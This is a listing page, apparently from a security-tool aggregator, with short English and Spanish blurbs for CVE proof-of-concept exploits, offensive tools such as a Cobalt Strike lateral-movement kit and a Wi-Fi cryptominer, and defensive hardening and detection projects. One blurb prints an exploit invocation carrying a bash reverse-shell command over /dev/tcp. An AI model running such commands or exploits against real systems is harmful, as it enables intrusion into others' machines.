CVE-2026-49160-CVE-2026-47291-HTTP.sys

CVE-2026-49160 & CVE-2026-47291 HTTP.sys PoC HTTP.sys Denial of Service Vulnerability HTTP.sys Remote Code Execution Vulnerability Due to GitHub's file size restrictions, demonstration videos for this PoC CVE-2026-49160 are hosted as attachments in the Releases. CVE-2026-47291 Vulnerable code:...

vcsa-hardening-tool

VCSA Hardening & Logging Tool An automated hardening script for the VMware vCenter Server Appliance VCSA designed to enforce Zero Trust network segmentation and deep forensic auditing. This tool is engineered to mitigate critical risks associated with advanced persistent threats APTs and...

CVE-2025-5419

CVE-2025-5419 An uninitialized read vulnerability by incorrect Turboshaft Store-Store Elimination in V8. This repository contains analysis and stablized exploit to escalate this vulnerability to achieve in-V8-sandbox Arbitrary Read / Write, AddressOf & FakeObject primitives. Analysis:...

LCSAJdump

LCSAJdump Framework universal basado en grafos para el descubrimiento automatizado de gadgets...

antisquat

AntiSquat AntiSquat leverages AI techniques such as natural language processing NLP, large language models ChatGPT and more to empower detection of typosquatting and phishing domains. How to use Clone the project via git clone https://github.com/redhuntlabs/antisquat. Install all dependencies by...

antisquat

AntiSquat AntiSquat aprovecha técnicas de inteligencia artificial como el procesamiento del lenguaje natural NLP, grandes modelos de lenguaje ChatGPT y más para potenciar la detección de dominios de typosquatting y phishing. Cómo usar Clona el proyecto mediante git clone...

pylibemu

Pylibemu |version badge| |downloads badge| .. |version badge| image:: https://img.shields.io/pypi/v/pylibemu.svg :target: https://pypi.python.org/pypi/pylibemu/ .. |downloads badge| image:: https://img.shields.io/pypi/dm/pylibemu.svg :target: https://pypi.python.org/pypi/pylibemu/ Pylibemu is a...

MoveKit

MoveKit - Kit de movimiento lateral de Cobalt Strike Movekit es una extensión del movimiento lateral integrado de Cobalt Strike que aprovecha la función executeassembly con los ensamblados .NET SharpMove y SharpRDP. El script agresor maneja la creación de payloads leyendo los archivos de plantill...

CVE-2009-4623

Advanced Comment System 1.0 - Remote Command Execution RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 Examples root@kitploit: python3 exploit.py http://127.0.0.1 uname -a root@kitploit: python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

web-traffic-generator

web-traffic-generator Un generador de tráfico HTTP/S "orgánico" rápido y sucio. Acerca de Es solo un script de Python simple mal escrito que "navega" sin rumbo por internet empezando desde ROOTURLS predefinidas y "haciendo clic" aleatoriamente en enlaces de páginas hasta alcanzar la MAXDEPTH...

spring4shell-poc

Spring4Shell POC Description of the vulnerability: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html Construction of the POC: https://github.com/BobTheShoplifter/Spring4Shell-POC Steps to Build/Run Tested with JDK 11.0.14, Spring Boot 2.6.5, and Apache Tomcat 9.0.60 Run...

vallumd

vallumd Este programa te permite centralizar y distribuir listas negras de IP. Si mantienes un servidor en Internet, es muy probable que te hayas encontrado con uno o más ataques de fuerza bruta. No hay problema, solo instala fail2ban. Hecho. Pero si tienes varios servidores, cada uno ejecutando ...

Crawlector

Crawl e ctor Crawlector el nombre Crawlector es una combinación de Crawl er & Detector es un framework de caza de amenazas diseñado para escanear sitios web en busca de objetos maliciosos. Nota-1 : El framework se presentó por primera vez en la conferencia No Hat en Bérgamo, Italia, el 22 de...

coffeeMiner

CoffeeMiner Pool colaborativo de minería de criptomonedas mitm en redes wifi Advertencia: este proyecto es solo con fines académicos/de investigación. Se puede leer una publicación de blog sobre este proyecto aquí: http://arnaucode.com/blog/coffeeminer-hacking-wifi-cryptocurrency-miner.html...

sish

sish Open source SSH tunneling for HTTPS, WSS, TCP, aliases, and SNI. If you like the simplicity of serveo/ngrok-style sharing but want to use plain SSH and run your own infrastructure, sish is built for that. No custom client required for end users Public and private tunnel workflows Docker and...

detection-rules

Detection Rules Detection Rules is the home for rules used by Elastic Security. This repository is used for the development, maintenance, testing, validation, and release of rules for Elastic Security’s Detection Engine. This repository was first announced on Elastic's blog post, Elastic Security...

CVE-2025-10352-POC

CVE-2025-10352 POC - Admin Account Creation 🛠️ POC for CVE-2025-10352: An unauthenticated endpoint in Melis Platform melis-core that allows creation of an administrator account via a crafted HTTP request to a specific admin endpoint. 🔗 References 📄 CVE-2025-10352 on MITRE 📄 Melis Platform Warning...

McDirty

This repository does not have a README...

cve-2024-0582

PoC for CVE-2024-0582 While learning about the iouring interface, I decided to create a PoC for CVE-2024-0582. All of this work is derived directly from the CVE information, the patch and a few other write ups related to io uring -- particularly Chompie's write up of CVE-2021-41073...

shiguresh

Shiguresh...